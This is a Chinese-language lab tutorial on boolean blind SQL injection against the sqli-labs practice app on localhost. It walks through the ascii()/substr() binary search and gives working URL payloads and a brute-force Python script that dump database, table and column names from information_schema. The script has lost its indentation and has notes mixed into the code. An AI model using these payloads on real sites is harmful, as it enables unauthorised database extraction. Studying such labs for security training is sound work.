1.首先盲注是一般都是通过页面变化来判断是否存在注入
1)当传入数据正常时 url?id=1’ and 1=1 %23
2)当传入数据不正常时 url?id=1’ and 1=2 %23
显而易见少了一个 “YOU ARE IN”
那么就很好办,我们就可以就构建payload
2.盲注一般利用 ascii(),substr()
ascii()将字符串转化成ascii码
substr(string,start,length)将字符串截取,第一个参数start从1开始不是0
group_concat()将一个组的内部数据以逗号分隔列出来
3.解析一下·ttp://127.0.0.1/Less-8/?id=1%27%20and%201=2%23
1.SELECT * FROM users WHERE id='1' and 1=2#' LIMIT 0,1这是内部语句
?id=1'这个单引号是为了引入新的语句也就是我们的注入,完整的是一对单引号,但因为添加新的语句,我们又引入的新的单引号,那么后面单引号我们就用%23注释掉这样我们就又恢复一对单引号
4.接下来就是构造爆数据库
1.http://127.0.0.1/Less-1/?id=1%27%20and%20ascii(substr(database(),1,1))%3E97%20%23
利用二分法猜第一个数据库的第一个字母的ascii大于97,页面显示正常
接下来继续猜,在英文字母中猜
英文和数字的ascii码
a-z:97-122,
baiA-Z:65-90
0-9:48-57。
2.猜数据库的第一ascii小于123发现页面显示正常,因此根据区间可以确定是小写英文,继续利用二分法
3又继续猜小于116还是正常
4.当猜到115是发现页面报错,这时我们估计这个就是115而115的ascii码是s
以此类推,将剩些的字母猜出来,因为它们的操作都一样反复,我们可以写个脚本代替这些机械动作
import requests
flag=""
for i in range(1,60):
for j in range(1,130):
url="http://127.0.0.1/Less-1/?id=1%27%20and%20ascii(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27emails%27),{},1))={}%20%23".format(i,j)
上面这个url是用来猜解列表的
# url= "http://127.0.0.1/Less-1/?id=1%27%20and%20ascii(substr(database(),{},1))={}%20%23".format(i,j)
这个是用来猜解数据库的
# url="http://127.0.0.1/Less-1/?id=1%27%20and%20ascii(substr(%20(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),{},1))={}%20%23".format(i,j)
这个是用来猜解数据表的
response=requests.get(url)
if "You" in response.text:
flag=flag+chr(j)
print(flag)
这三个猜解的payload分别是
1.列http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27emails%27),1,1))=105%20%23
2.数据库http://127.0.0.1/Less-1/?id=1%27%20and%20ascii(substr(database(),{},1))={}%20%23".format(i,j)
3.数据表http://127.0.0.1/Less-1/?id=1%27%20and%20ascii(substr(%20(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),{},1))={}%20%23".format(i,j)